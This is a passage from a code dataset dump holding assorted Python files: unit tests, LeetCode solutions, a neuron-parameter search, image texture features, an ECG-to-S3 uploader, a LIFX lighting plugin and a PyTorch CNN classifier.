residual(encoders, max_rates, intercepts, eval_points, show=False):\n neurons = nengo.LIF()\n gains, biases = neurons.gain_bias(max_rates, intercepts)\n A = neurons.rates(np.dot(eval_points, encoders.T), gains, biases)\n y = sigmoid_radius(eval_points)\n d, _ = nengo.solvers.LstsqL2()(A, y)\n r = np.dot(A, d) - y\n r2 = np.sqrt(np.dot(r.T, r))\n\n if show:\n plt.figure(101)\n plt.clf()\n x = np.linspace(-1, 1, 501).reshape(-1, 1)\n a = neurons.rates(np.dot(x, encoders.T), gains, biases)\n y = sigmoid_radius(x)\n yhat = np.dot(a, d)\n plt.plot(x, y, 'k--')\n plt.plot(x, yhat)\n\n return r2\n\n\ndef find_params(savefile=None, show=False):\n rng = np.random.RandomState(9)\n eval_points = UniformHypersphere().sample(750, 1, rng=rng)\n\n residuals = []\n for i in range(1000):\n encoders, max_rates, intercepts = encoders_rates_intercepts(i)\n r = residual(encoders, max_rates, intercepts, eval_points)\n residuals.append((i, r))\n\n residuals = sorted(residuals, key=lambda x: x[1])\n\n seed = residuals[0][0]\n encoders, max_rates, intercepts = encoders_rates_intercepts(seed)\n residual(encoders, max_rates, intercepts, eval_points, show=show)\n\n if savefile:\n np.savez(savefile,\n N=N, radius=radius, encoders=encoders,\n max_rates=max_rates, intercepts=intercepts)\n\n return N, radius, encoders, max_rates, intercepts\n","sub_path":"find_neuron_params.py","file_name":"find_neuron_params.py","file_ext":"py","file_size_in_byte":1990,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"1"} +{"seq_id":"535023324","text":"\"\"\"Tests for GNR module of pytaxize\"\"\"\nimport os\nimport pytaxize\n\nfrom vcr_unittest import VCRTestCase\n\n# expected results\nexp1 = {u'canonical_form': u'Helianthus annus',\n u'classification_path': u'',\n u'classification_path_ids': u'',\n u'classification_path_ranks': u'',\n u'data_source_id': 12,\n u'data_source_title': u'EOL',\n u'edit_distance': 0,\n u'gni_uuid': u'f5674e32-00cc-57e3-b632-6a0b89fa4df4',\n u'imported_at': u'2012-05-08T02:42:50Z',\n u'local_id': u'468106',\n u'match_type': 1,\n u'match_value': u'Exact string match',\n u'name_string': u'Helianthus annus',\n u'prescore': u'3|0|0',\n u'score': 0.988,\n u'taxon_id': u's_5106367',\n u'url': u'http://eol.org/pages/468106/names/synonyms'}\n\nclass Gnr(VCRTestCase):\n\t\tdef test_gnr_resolve(self):\n\t\t\t\"Basic test of of gnr_resolve\"\n\t\t\tassert exp1 == pytaxize.gnr_resolve('Helianthus annus')[0][0]\n\n# def test_gnr_resolve_remove_temporary_file():\n# \t\"\"\"test if delete temporary name list file in gnr_resolve\"\"\"\n# \twith open('test/data/species_list.txt', 'rb') as f:\n# \t\tname_list = f.readlines()\n# \tpytaxize.gnr_resolve( name_list[0:301] )\n# \tassert os.path.isfile('names_list.txt') == False\n\n# def test_gnr_resolve_larger_1000():\n# \t\"\"\"test if work well when queried number larger than 1000\"\"\"\n# \twith open('test/data/species_list.txt', 'rb') as f:\n# \t\tname_list = f.readlines()\n# \tassert len(pytaxize.gnr_resolve( name_list )) == len(name_list)\n","sub_path":"test/test_gnr.py","file_name":"test_gnr.py","file_ext":"py","file_size_in_byte":1396,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"1"} +{"seq_id":"59398296","text":"#!/usr/bin/env python3\n\nimport pytest\n\n\nclass TestServerVersion(object):\n\n def test_version(self, hge_ctx):\n resp = hge_ctx.http.get(\n hge_ctx.hge_url + '/v1/version'\n )\n my_json = resp.json()\n assert my_json['version'] == hge_ctx.version, my_json\n","sub_path":"server/tests-py/test_version.py","file_name":"test_version.py","file_ext":"py","file_size_in_byte":290,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"1"} +{"seq_id":"181006301","text":"import sublime\nfrom sublime_plugin import WindowCommand\n\nfrom ..git_command import GitCommand\nfrom ...common import util\n\n\nALL_REMOTES = \"All remotes.\"\n\n\nclass GsCustomCommand(WindowCommand, GitCommand):\n\n \"\"\"\n Run the specified custom command asynchronously.\n \"\"\"\n\n def run(self, **kwargs):\n sublime.set_timeout_async(lambda: self.run_async(**kwargs), 0)\n\n def run_async(self,\n output_to_panel=False,\n args=None,\n start_msg=\"Starting custom command...\",\n complete_msg=\"Completed custom command.\"):\n\n if not args:\n sublime.error_message(\"Custom command must provide args.\")\n\n for idx, arg in enumerate(args):\n if arg == \"{REPO_PATH}\":\n args[idx] = self.repo_path\n elif arg == \"{FILE_PATH}\":\n args[idx] = self.file_path\n\n sublime.status_message(start_msg)\n stdout = self.git(*args)\n sublime.status_message(complete_msg)\n\n if output_to_panel:\n util.log.panel(stdout)\n","sub_path":"core/commands/custom.py","file_name":"custom.py","file_ext":"py","file_size_in_byte":1071,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"1"} +{"seq_id":"479952195","text":"import numpy as np\nfrom math import log\n\ndef Energy(GLCM):\n\tenergy = np.sum(GLCM**2)\n\treturn energy\ndef Constrast(GLCM):\n\tind = np.indices(GLCM.shape)\n\ti = ind[0]\n\tj = ind[1]\n\tconstrast = np.sum(GLCM*((i-j)**2))\n\treturn constrast\ndef Homogeneity(GLCM):\n\tind = np.indices(GLCM.shape)\n\ti = ind[0]\n\tj = ind[1]\n\thomogeneity = np.sum(GLCM/(1+abs(i-j)))\n\treturn homogeneity\ndef Entropy(GLCM):\n\tentropy = np.sum(GLCM*(-np.log(np.where(GLCM[:]!=0, GLCM, 1))))\n\treturn entropy\ndef img_features (img_aux):\n\timg = img_aux.copy()\n\th, w, aux = img.shape\n\timg_gray = np.zeros((h, w), dtype=int)\n\timg_CR = np.zeros((h, w), dtype=int)\n\tKB, KG, KR = 114, 587, 299\n\tCR_KB, CR_KG, CR_KR = -81, -418, 500 \n\tB, G, R = (0, KB, CR_KB), (1, KG, CR_KG), (2, KR, CR_KR)\n\tcores = B, G, R\n\tind, Y_K, CR_K= 0, 1, 2\n\tnormalizar = h*(w-1)\n\tfor cor in cores:\n\t\timg_gray += (img[:, :, cor[ind]]*cor[Y_K])/1000\n\t\timg_CR += (img[:, :, cor[ind]]*cor[CR_K])/1000\n\timg_CR += 128\n\tGLCM_Gray = np.zeros((256, 256), dtype=float)\n\tnp.add.at(GLCM_Gray, (img_gray[:, 0:(w-1)], img_gray[:, 1:w]), 1.0)\n\tGLCM_Gray /= normalizar\n\n\tGLCM_CR = np.zeros((256, 256), dtype=float)\n\tnp.add.at(GLCM_CR, (img_CR[:, 0:(w-1)], img_CR[:, 1:w]), 1.0)\n\tGLCM_CR /= normalizar\n\n\treturn Energy(GLCM_Gray), Homogeneity(GLCM_Gray), \\\n\tEntropy(GLCM_Gray), Constrast(GLCM_Gray), \\\n\tEnergy(GLCM_CR), Homogeneity(GLCM_CR), \\\n\tEntropy(GLCM_CR), Constrast(GLCM_CR);\n","sub_path":"source/selection/feature_S.py","file_name":"feature_S.py","file_ext":"py","file_size_in_byte":1394,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"1"} +{"seq_id":"617985584","text":"#! /usr/bin/env python\n# -*- coding: utf-8 -*-\n\nimport unittest\nimport subprocess\n\nimport maucl\n\n\nclass DefaultTestCase(unittest.TestCase):\n def test_disable_au(self):\n maucl.set_pref()\n o = subprocess.check_output(['defaults',\n 'read',\n 'com.microsoft.autoupdate2',\n 'HowToCheck'])\n self.assertEquals(o.strip(), 'Manual')\n\n def test_enable_au(self):\n maucl.set_pref(v='Automatic')\n o = subprocess.check_output(['defaults',\n 'read',\n 'com.microsoft.autoupdate2',\n 'HowToCheck'])\n self.assertEquals(o.strip(), 'Automatic')\n\n\nif __name__ == '__main__':\n unittest.main()\n","sub_path":"tests.py","file_name":"tests.py","file_ext":"py","file_size_in_byte":835,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"1"} +{"seq_id":"578750115","text":"class Solution(object):\n def canFinish(self, num_courses, prerequisites):\n \"\"\"\n :type numCourses: int\n :type prerequisites: List[List[int]]\n :rtype: bool\n \"\"\"\n if num_courses <= 1:\n return True\n depend_list = [[] for _ in xrange(num_courses)]\n back_list = [[] for _ in xrange(num_courses)]\n for i,j in prerequisites:\n depend_list[i].append(j)\n back_list[j].append(i)\n leaves = [i for i in xrange(num_courses) if len(depend_list[i])==0]\n while len(leaves) > 0:\n new_leaves = []\n for leave_i in leaves:\n for back_j in back_list[leave_i]:\n depend_list[back_j].remove(leave_i)\n if len(depend_list[back_j]) == 0: \n new_leaves.append(back_j)\n back_list[leave_i] = []\n leaves = new_leaves\n for depend in depend_list:\n if len(depend) >0 :\n return False\n return True\n\n def canFinish(self, numCourses, prerequisites):\n \"\"\"\n :type numCourses: int\n :type prerequisites: List[List[int]]\n :rtype: bool\n \"\"\"\n from collections import defaultdict\n mem = defaultdict(list)\n visited, handled = set(), set()\n for src, dst in prerequisites:\n mem[src] += dst,\n def dfs(src):\n handled.add(src)\n visited.add(src)\n for i in mem[src]:\n if i in visited:\n return False\n else:\n if i not in handled:\n if not dfs(i):\n return False\n visited.discard(src)\n return True\n for i in range(numCourses):\n if i not in handled:\n if not dfs(i):\n return False\n return True\n # bad performance\n def canFinish(self, n, prerequisites):\n \"\"\"\n :type numCourses: int\n :type prerequisites: List[List[int]]\n :rtype: bool\n \"\"\"\n matrix = [ [0] * n for _ in range(n)] \n in_degrees = [0] * n\n for src, dst in prerequisites:\n matrix[dst][src] = 1\n in_degrees[src] += 1\n count, q = 0, []\n for i in range(n):\n if in_degrees[i] == 0: \n q += i,\n while q:\n dst = q.pop(0)\n count += 1\n for i in range(n):\n if matrix[dst][i]>0:\n in_degrees[i] -= 1\n if in_degrees[i] == 0:\n q += i,\n count.p()\n return count == n\n# public boolean canFinish(int numCourses, int[][] prerequisites) {\n# int[][] matrix = new int[numCourses][numCourses]; // i -> j\n# int[] indegree = new int[numCourses];\n \n# for (int i=0; i queue = new LinkedList();\n# for (int i=0; i length:\n return i\n -----------------------\n 运行时间：\n 占用内存：\n -----------------------\n \"\"\"\n def MoreThanHalfNum_Solution(self, numbers):\n if len(numbers) == 1:\n return numbers[0]\n\n length = len(numbers) // 2\n numtimes = 1\n num = 0\n for i in range(len(numbers)):\n if numtimes == 0:\n numtimes += 1\n num = numbers[i]\n elif num == numbers[i]:\n numtimes += 1\n else:\n numtimes -= 1\n\n times = 0\n for j in numbers:\n if num == j:\n times += 1\n if times > length:\n return num\n else:\n return 0\n\n\nif __name__ == \"__main__\":\n solution = Solution()\n print(solution.MoreThanHalfNum_Solution([1,2,3,2,4,3,3,3,3,3]))\n","sub_path":"code/train/箭指Offer/src/数组中出现次数超过一半的数字.py","file_name":"数组中出现次数超过一半的数字.py","file_ext":"py","file_size_in_byte":1785,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"1"} +{"seq_id":"428137531","text":"import config\nimport platform\nimport thread\nfrom threading import Timer\nimport boto3\nimport bluetooth\nimport os\nfrom os import listdir\nfrom os.path import isfile, join\n\nfrom bluetooth_module import BluetoothConnect\nfrom decode_bytes import decoder\nfrom ring_buffer import RingBuffer\nfrom file_handler import FileHandler\n\n\ntopic = \"ecg/status\"\n\ngg_client = greengrasssdk.client('iot-data')\n\nmy_platform = platform.platform()\n\nmy_counter = 0\n\nring_buffer = RingBuffer()\nfile_handler = FileHandler()\n\nbt_con = BluetoothConnect(\n host_address=config.bluetooth['host_address'],\n port=config.bluetooth['port']\n )\n\ns3_client = boto3.client('s3',\n aws_access_key_id=config.aws['access_key'],\n aws_secret_access_key=config.aws['secret_key'])\n\nrecording = False\n\n\ndef log(text):\n print(text)\n gg_client.publish(topic=topic, payload=text)\n\n\ndef connect_to_device():\n global bt_con\n bt_con = BluetoothConnect(\n host_address=config.bluetooth['host_address'],\n port=config.bluetooth['port']\n )\n return bt_con.connect()\n\n\ndef begin_recording(*args):\n global recording, topic\n ring_buffer.clear()\n while True:\n try:\n recording = True\n if bt_con.connected is False:\n recording = False\n thread.exit()\n return\n data = bt_con.get_data()\n data_model = decoder(data)\n ring_buffer.add(data_model.ecg)\n log(\"data: {}\".format(data_model.ecg))\n except TypeError as e:\n print(\"Unexpected TypeError occured\", e)\n except IndexError as e:\n print(\"Index error from device\", e)\n except bluetooth.btcommon.BluetoothError as e:\n log(\"Lost connection to device. Attempting to reconnect\")\n bt_con.connected = False\n\n\ndef upload_files():\n files = [f for f in listdir(config.data['location']) if isfile(join(config.data['location'], f))]\n for file in files:\n s3_client.upload_file(\n \"{}/{}\".format(config.data['location'], file),\n config.aws['bucket_name'],\n \"{}/{}\".format(config.device['id'], file))\n os.remove(\"{}/{}\".format(config.data['location'], file))\n\n\ndef record_data():\n global recording, topic\n\n # If no connection is established, connect\n if bt_con.connected is False:\n log(\"Attempting to connect to bluetooth ecg device\")\n connected = connect_to_device()\n if connected is False:\n log(\"Attempting to connect again in {} seconds\".format(config.bluetooth['reconnect_time']))\n Timer(config.bluetooth['reconnect_time'], record_data).start()\n return\n\n if recording is False:\n recording = True\n thread.start_new(begin_recording, (None,))\n\n # If connected and thread has started, begin saving\n if len(ring_buffer.buffer) > config.bluetooth['save_size']:\n file_name = file_handler.save_signal(ring_buffer.get_buffer(clear=True), \"ecg\")\n log(\"Saving buffer to file at location {}/{}\".format(\n config.data['location'],\n file_name\n ))\n Timer(0, upload_files).start()\n Timer(1, record_data).start()\n\n\n\ndef function_handler(event, context):\n return\n\nrecord_data()","sub_path":"lambdas/ecg_processing.py","file_name":"ecg_processing.py","file_ext":"py","file_size_in_byte":3309,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"1"} +{"seq_id":"247030602","text":"# Domoticz Lifx Plugin\n# Uses lightsd, a daemon to control smart bulbs by lopter: https://github.com/lopter/lightsd/\n#\n\"\"\"\n\n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n\n\"\"\"\nimport Domoticz\nimport json\nimport base64\nimport socket\nimport random\nimport math\n\nREAD_SIZE = 4096\nENCODING = \"utf-8\"\ndevtypes={\"Original 1000\":(241,4,7),\"White 800\":(241,3,7),\"LIFX Z\":(241,4,7),\"Color 1000\":(241,4,7),\"Unknown\":(241,4,7)}\n\nclass BasePlugin:\n lightsd_socket=\"\"\n mydevices={}\n inv_mydevices = {}\n HBpass=0\n \n def __init__(self):\n return\n\n def onStart(self):\n if Parameters[\"Mode6\"] == \"Debug\":\n Domoticz.Debugging(1)\n \n if Parameters[\"Mode4\"] == \"INET\":\n Domoticz.Debug(\"INET\")\n self.lightsd_socket = socket.socket(socket.AF_INET)\n self.lightsd_socket.connect((str(Parameters[\"Address\"]),int(Parameters[\"Port\"])))\n \n else:\n Domoticz.Debug(\"UNIX\")\n self.lightsd_socket = socket.socket(socket.AF_UNIX)\n self.lightsd_socket.connect(str(Parameters[\"Mode3\"]))\n \n self.lightsd_socket.settimeout(1) # seconds \n confFile=str(Parameters[\"HomeFolder\"])+\"_lifx\"\n try:\n with open(confFile) as infile:\n self.mydevices = json.load(infile)\n except Exception:\n self.mydevices={}\n self.inv_mydevices = {v: k for k, v in self.mydevices.items()}\n \n if Parameters[\"Mode5\"] == \"Rescan\":\n for Device in list(self.mydevices.keys()):\n Domoticz.Debug(Device + \":\"+ self.mydevices[Device])\n try:\n found=Devices[int(Device)]\n except KeyError:\n self.mydevices.pop(Device)\n k=0\n for devices in self.mydevices.keys():\n k=max(k,int(devices))\n myResult = queryLIFX()\n Domoticz.Debug(\"Devices \" + str(self.mydevices))\n Domoticz.Debug(\"Devices \" + str(k))\n for i in range(len(myResult)):\n Domoticz.Debug(\"LIFX: \" + str(myResult[i][\"hsbk\"]))\n myName = \"Lamp\"\n myPower=1\n myLevel=100\n myModel = myResult[i][\"_model\"]\n myType = devtypes[myModel][0] #myType=244\n mySType=devtypes[myModel][1] #mySType=73\n mySwitchtype=devtypes[myModel][2] #7\n myPower=10 if (myResult[i][\"power\"]) else 0\n myLevel=str(int(myResult[i][\"hsbk\"][2]*100))\n MACADDR=str(myResult[i][\"_lifx\"][\"addr\"].replace(\":\",\"\"))\n myName = str(myResult[i][\"label\"])\n #myName = str(myResult[i][\"_model\"])\n try:\n Unit=int(self.inv_mydevices[MACADDR])\n UpdateDevice(Unit, myPower, myLevel)\n Domoticz.Debug(\"Devices exist. \" + str(Unit))\n except Exception:\n k+=1\n Domoticz.Device(Name=myName, Unit=(k), Type=myType, Subtype=mySType, Switchtype=mySwitchtype).Create()\n self.mydevices[str(k)]=MACADDR\n Domoticz.Debug(\"Devices created. \" + str(k)) \n UpdateDevice(k, myPower, myLevel)\n with open(confFile, 'w') as outfile:\n json.dump(self.mydevices, outfile)\n self.inv_mydevices = {v: k for k, v in self.mydevices.items()}\n Domoticz.Heartbeat(25)\n Domoticz.Debug(\"onStart called\")\n \n def onStop(self):\n Domoticz.Debug(\"onStop called\")\n\n def onConnect(self, Status, Description):\n Domoticz.Debug(\"onConnect called\")\n\n def onMessage(self, Data, Status, Extra):\n Domoticz.Debug(\"onMessage called:\")\n\n def onCommand(self, Unit, Command, Level, Color):\n MACADDR=self.mydevices[str(Unit)]\n Domoticz.Debug(\"onCommand called for Lifx #\" + str(Unit) + \": Parameter '\" + str(Command) + \"', Level: \" + str(Level) + \", Color: \" + str(Color))\n if (Command == 'On'):\n setLIFX(\"power_on\", [MACADDR])\n UpdateDevice(Unit, 10, Devices[Unit].sValue)\n elif (Command == 'Off'):\n setLIFX(\"power_off\", [MACADDR])\n UpdateDevice(Unit, 0, Devices[Unit].sValue)\n elif (Command == 'Set Level'):\n myResult = queryLIFX(Params=MACADDR)\n h, s, b, k = myResult[0][\"hsbk\"]\n b=Level/100\n setLIFX(\"set_light_from_hsbk\", [MACADDR, h,s,b,k,0])\n UpdateDevice(Unit, 15, str(Level))\n elif (Command == 'Set Color'):\n myResult = queryLIFX(Params=MACADDR)\n h, s, b, k = myResult[0][\"hsbk\"]\n ColorJ=json.loads(Color)\n Domoticz.Debug(\"Get Color HSB Lifx #\" + str(Unit) + \">>\" + str(h) + \":\"+ str(s) + \":\"+ str(b)+ \":\"+ str(k))\n red=ColorJ[\"r\"]/255\n green=ColorJ[\"g\"]/255\n blue=ColorJ[\"b\"]/255\n mmode=ColorJ[\"m\"]\n t=ColorJ[\"t\"]\n v=0\n if (mmode==2): # set temp\n h=0\n s=0\n v=Level/100\n k=translate(t,255,0,2500,9000)\n elif (mmode==3): # set color\n h, s, v = rgb_to_hsv(red, green, blue)\n setLIFX(\"set_light_from_hsbk\", [MACADDR, h,s,b,k,0])\n setLIFX(\"power_on\", [MACADDR])\n UpdateDevice(Unit, 10, Devices[Unit].sValue)\n UpdateDevice2(Unit, 15, str(Level), str(Color)) \n Domoticz.Debug(\"Set Color RGB Lifx #\" + str(Unit) + \">>\" + str(red) + \":\"+ str(green) + \":\"+ str(blue) + \" mode:\" + str(mmode)+ \" temp:\" + str(t))\n Domoticz.Debug(\"Set Color HSB Lifx #\" + str(Unit) + \">>\" + str(h) + \":\"+ str(s) + \":\"+ str(v) + \":\"+ str(k))\n def onNotification(self, Data):\n Domoticz.Debug(\"onNotification: \" + str(Data))\n\n def onDisconnect(self):\n Domoticz.Debug(\"onDisconnect called\")\n\n def onHeartbeat(self):\n if(self.HBpass==0):\n myResult = queryLIFX()\n ColorStr='';\n for i in range(len(myResult)):\n MACADDR=str(myResult[i][\"_lifx\"][\"addr\"].replace(\":\",\"\"))\n myPower=10 if (myResult[i][\"power\"]) else 0\n h, s, b, k = myResult[i][\"hsbk\"]\n myLevel=str(int(b*100))\n if (s==0):\n t = translate(k,2500,9000,255,0)\n ColorStr='{\"m\":2,\"r\":0,\"g\":0,\"b\":0,\"t\":'+ str(t) +',\"ww\":0,\"cw\":0}'\n else:\n red, green, blue = hsv_to_rgb(h, s, 1)\n ColorStr='{\"m\":3,\"r\":' + str(red) + ',\"g\":' + str(green) + ',\"b\":' + str(blue) + ',\"t\":0,\"cw\":0,\"ww\":0}'\n try:\n myDevice=int(self.inv_mydevices[MACADDR])\n UpdateDevice2(myDevice, myPower, myLevel, ColorStr)\n Domoticz.Debug(\">>Lifx #\" + str(myDevice) + \" ColorStr \" + ColorStr)\n Domoticz.Debug(\">>Lifx #\" + str(myDevice) + \" power \" + str(myPower) + \" Level \" + str(myLevel))\n Domoticz.Debug(\">>Lifx #\" + str(myDevice) + \" hsbk \" + str(myResult[i][\"hsbk\"]))\n except KeyError:\n Domoticz.Debug(\"Unknown LIFX device found\")\n self.HBpass=4\n else:\n self.HBpass-=1\n\nglobal _plugin\n_plugin = BasePlugin()\n\ndef onStart():\n global _plugin\n _plugin.onStart()\n\ndef onStop():\n global _plugin\n _plugin.onStop()\n\ndef onConnect(Status, Description):\n global _plugin\n _plugin.onConnect(Status, Description)\n\ndef onMessage(Data, Status, Extra):\n global _plugin\n _plugin.onMessage(Data, Status, Extra)\n\ndef onCommand(Unit, Command, Level, Hue):\n global _plugin\n _plugin.onCommand(Unit, Command, Level, Hue)\n\ndef onNotification(Data):\n global _plugin\n _plugin.onNotification(Data)\n\ndef onDisconnect():\n global _plugin\n _plugin.onDisconnect()\n\ndef onHeartbeat():\n global _plugin\n _plugin.onHeartbeat()\n\n # Generic helper functions\ndef DumpConfigToLog():\n for x in Parameters:\n if Parameters[x] != \"\":\n Domoticz.Debug( \"'\" + x + \"':'\" + str(Parameters[x]) + \"'\")\n Domoticz.Debug(\"Device count: \" + str(len(Devices)))\n for x in Devices:\n Domoticz.Debug(\"Device: \" + str(x) + \" - \" + str(Devices[x]))\n Domoticz.Debug(\"Device ID: '\" + str(Devices[x].ID) + \"'\")\n Domoticz.Debug(\"Device Name: '\" + Devices[x].Name + \"'\")\n Domoticz.Debug(\"Device nValue: \" + str(Devices[x].nValue))\n Domoticz.Debug(\"Device sValue: '\" + Devices[x].sValue + \"'\")\n Domoticz.Debug(\"Device LastLevel: \" + str(Devices[x].LastLevel))\n return\n\ndef UpdateDevice(Unit, nValue, sValue):\n # Make sure that the Domoticz device still exists (they can be deleted) before updating it \n if (Unit in Devices):\n if (Devices[Unit].nValue != nValue) or (Devices[Unit].sValue != sValue):\n Devices[Unit].Update(nValue, str(sValue))\n Domoticz.Debug(\"Update \"+str(nValue)+\":'\"+str(sValue)+\"' (\"+Devices[Unit].Name+\")\")\n return\n\ndef UpdateDevice2(Unit, nValue, sValue, Color):\n # Make sure that the Domoticz device still exists (they can be deleted) before updating it \n if (Unit in Devices):\n Domoticz.Debug (\">>>>>>>>>>Color: \" + \"' (\"+Devices[Unit].Name+\") \" + Devices[Unit].Color)\n if (Devices[Unit].nValue != nValue) or (Devices[Unit].sValue != sValue):\n Devices[Unit].Update(nValue=nValue, sValue=str(sValue), Color=Color)\n Domoticz.Debug(\"LIFX Update \"+str(nValue)+\":'\"+str(sValue)+\"' (\"+Devices[Unit].Name+\")\" + \" Color \" + Color)\n return\n\ndef stringToBase64(s):\n return base64.b64encode(s.encode('utf-8')).decode(\"utf-8\")\n\ndef queryLIFX(Command=\"get_light_state\", Params=\"*\"):\n request = json.dumps({\"method\": Command, \"params\": [Params], \"jsonrpc\": \"2.0\",\"id\": str(random.randint(1, 50)),}).encode(ENCODING, \"surrogateescape\")\n _plugin.lightsd_socket.sendall(request)\n response = bytearray()\n while True:\n response += _plugin.lightsd_socket.recv(READ_SIZE)\n try:\n json.loads(response.decode(ENCODING, \"ignore\"))\n break\n except Exception:\n continue\n response = response.decode(ENCODING, \"surrogateescape\")\n return json.loads(response)[\"result\"]\n \ndef setLIFX(Command, Params=[\"*\"]):\n request = json.dumps({\"method\": Command, \"params\": Params, \"jsonrpc\": \"2.0\",}).encode(ENCODING, \"surrogateescape\")\n Domoticz.Debug(\"request: \" + str(request))\n _plugin.lightsd_socket.sendall(request) \n return\n\ndef rgb_to_hsv(r, g, b):\n r = float(r)\n g = float(g)\n b = float(b)\n high = max(r, g, b)\n low = min(r, g, b)\n h, s, v = high, high, high\n d = high - low\n s = 0 if high == 0 else d/high\n if high == low:\n h = 0.0\n else:\n h = {r: (g - b) / d + (6 if g < b else 0), g: (b - r) / d + 2, b: (r - g) / d + 4,}[high]\n h /= 6\n h = int (h*360)\n return h, s, v\n\ndef hsv_to_rgb(h, s, v):\n h /= 360\n i = math.floor(h*6)\n f = h*6 - i\n p = v * (1-s)\n q = v * (1-f*s)\n t = v * (1-(1-f)*s)\n r, g, b = [(v, t, p),(q, v, p),(p, v, t),(p, q, v),(t, p, v),(v, p, q),][int(i%6)]\n r *=255\n g *=255\n b *=255\n return int(r), int(g), int(b)\n\ndef translate(value, leftMin, leftMax, rightMin, rightMax):\n leftSpan = leftMax - leftMin\n rightSpan = rightMax - rightMin\n valueScaled = float(value - leftMin) / float(leftSpan)\n return int(rightMin + (valueScaled * rightSpan))","sub_path":"plugins/Lifx/plugin.py","file_name":"plugin.py","file_ext":"py","file_size_in_byte":12811,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"1"} +{"seq_id":"472171677","text":"import torch\nimport torch.nn as nn \nimport torch.nn.functional as F \nimport torch.optim as optim\nimport torchvision.transforms as transforms\n#from tqdm import tqdm\nfrom tqdm.notebook import tqdm\nimport os\nimport time\nfrom PIL import Image\n\nclass CNNClassifier(nn.Module):\n\n def __init__(self, device):\n super(CNNClassifier, self).__init__()\n self.block1 = self.conv_block(c_in=3, c_out=256, dropout=0.1, kernel_size=5, stride=1, padding=2)\n self.block2 = self.conv_block(c_in=256, c_out=128, dropout=0.1, kernel_size=3, stride=1, padding=1)\n self.block3 = self.conv_block(c_in=128, c_out=64, dropout=0.1, kernel_size=3, stride=1, padding=1)\n self.lastcnn = nn.Conv2d(in_channels=64, out_channels=2, kernel_size=56, stride=1, padding=0)\n self.maxpool = nn.MaxPool2d(kernel_size=2, stride=2)\n self.device = device\n self.criterion = torch.nn.CrossEntropyLoss()\n self.optimizer = optim.Adam(self.parameters(), lr=0.008)\n\n def forward(self, x):\n x = self.block1(x)\n x = self.maxpool(x)\n x = self.block2(x)\n x = self.block3(x)\n x = self.maxpool(x)\n x = self.lastcnn(x)\n return x\n\n def conv_block(self, c_in, c_out, dropout, **kwargs):\n seq_block = nn.Sequential(\n nn.Conv2d(in_channels=c_in, out_channels=c_out, **kwargs),\n nn.BatchNorm2d(num_features=c_out),\n nn.ReLU(),\n nn.Dropout2d(p=dropout)\n )\n return seq_block\n\n def trainCNN(self, train_loader):\n print(\"Begin training...\")\n self.t_begin = time.time()\n for e in tqdm(range(1, 15)):\n train_epoch_loss = 0\n train_epoch_acc = 0\n self.train()\n for X_train_batch, y_train_batch in train_loader: \n X_train_batch, y_train_batch = X_train_batch.to(self.device), y_train_batch.to(self.device)\n self.optimizer.zero_grad()\n y_train_pred = self(X_train_batch).squeeze() # returns a tensor with all the dimensions of input of size 1 removed.\n #print(\"real: \", y_train_batch)\n #print(\"prediction: \", y_train_pred )\n train_loss = self.criterion(y_train_pred, y_train_batch)\n train_acc = self.binary_acc(y_train_pred, y_train_batch)\n train_loss.backward()\n self.optimizer.step()\n train_epoch_loss += train_loss.item()\n train_epoch_acc += train_acc.item()\n print(f'Epoch {e+0:02}: | Train Loss: {train_epoch_loss/len(train_loader):.5f} | Train Acc: {train_epoch_acc/len(train_loader):.3f}')\n self.t_end = time.time()\n print('Time of training-{}'.format((self.t_end - self.t_begin)))\n # Save the trained parameters\n #self.save_model()\n\n def evaluate(self, test_loader, best_acc=0): \n print(\"Begin testing...\")\n with torch.no_grad():\n self.eval()\n test_epoch_loss = 0\n test_epoch_acc = 0\n\n for x_batch, y_batch in tqdm(test_loader):\n x_batch, y_batch = x_batch.to(self.device), y_batch.to(self.device)\n y_test_pred = self(x_batch)\n _, y_pred_tag = torch.max(y_test_pred, dim = 1)\n y_test_pred = y_test_pred.squeeze()\n #y_test_pred = torch.unsqueeze(y_test_pred, 0)\n\n test_acc = self.binary_acc(y_test_pred, y_batch)\n test_loss = self.criterion(y_test_pred, y_batch)\n test_epoch_loss += test_loss.item()\n test_epoch_acc += test_acc.item()\n test_epoch_acc/=len(test_loader)\n print(f'Test Loss: {test_epoch_loss/len(test_loader):.5f} | Test Acc: {test_epoch_acc:.3f}')\n if test_epoch_acc > best_acc:\n print('Saving model..')\n state = {\n 'model': self.state_dict(),\n 'accuracy': test_epoch_acc,\n }\n print(\"with accuracy:\", state['accuracy'])\n if not os.path.isdir('checkpoint'):\n os.mkdir('checkpoint')\n torch.save(state, './checkpoint/model.pth')\n\n\n def predict(self, filename, image_size):\n image = Image.open(filename, mode = 'r') #reading an image.\n #image = np.array(image) #the 2-d array of integer pixel values \n #image = image/255.0 #toTensor transform will bring from [0,255] tp [0, 1]\n preproc=transforms.Compose([\n transforms.Resize(image_size),\n transforms.CenterCrop(image_size),\n transforms.ToTensor(),\n transforms.Normalize((0.5, 0.5, 0.5), (0.5, 0.5, 0.5)),\n ])\n input_image = preproc(image)\n input_image = input_image.view(1, input_image.size(0), input_image.size(1), input_image.size(2))\n input_image = input_image.to(self.device)\n print(input_image.size())\n with torch.no_grad():\n self.eval()\n y_pred = self(input_image) \n print(\"pure prediction: \", y_pred)\n y_pred_tag = torch.log_softmax(y_pred, dim = 1)\n print(\"after softmax: \", y_pred_tag)\n _, y_pred_tag = torch.max(y_pred_tag, dim = 1)\n print(\"final output: \", y_pred_tag)\n return y_pred_tag\n \n\n \"\"\"\n Predicts the label of test data. It stores misclassified\n images for later inspection.\n\n Parameters:\n - test_loader: DataLoader to be predicted.\n - save_dir: The base directory to save images\n \"\"\"\n @torch.no_grad()\n def predict_batched(self, test_loader, save_dir='.'):\n correct_num = 0\n i_ter = 0\n tot = len(test_loader.dataset)\n self.eval()\n\n for x_batch, y_batch in 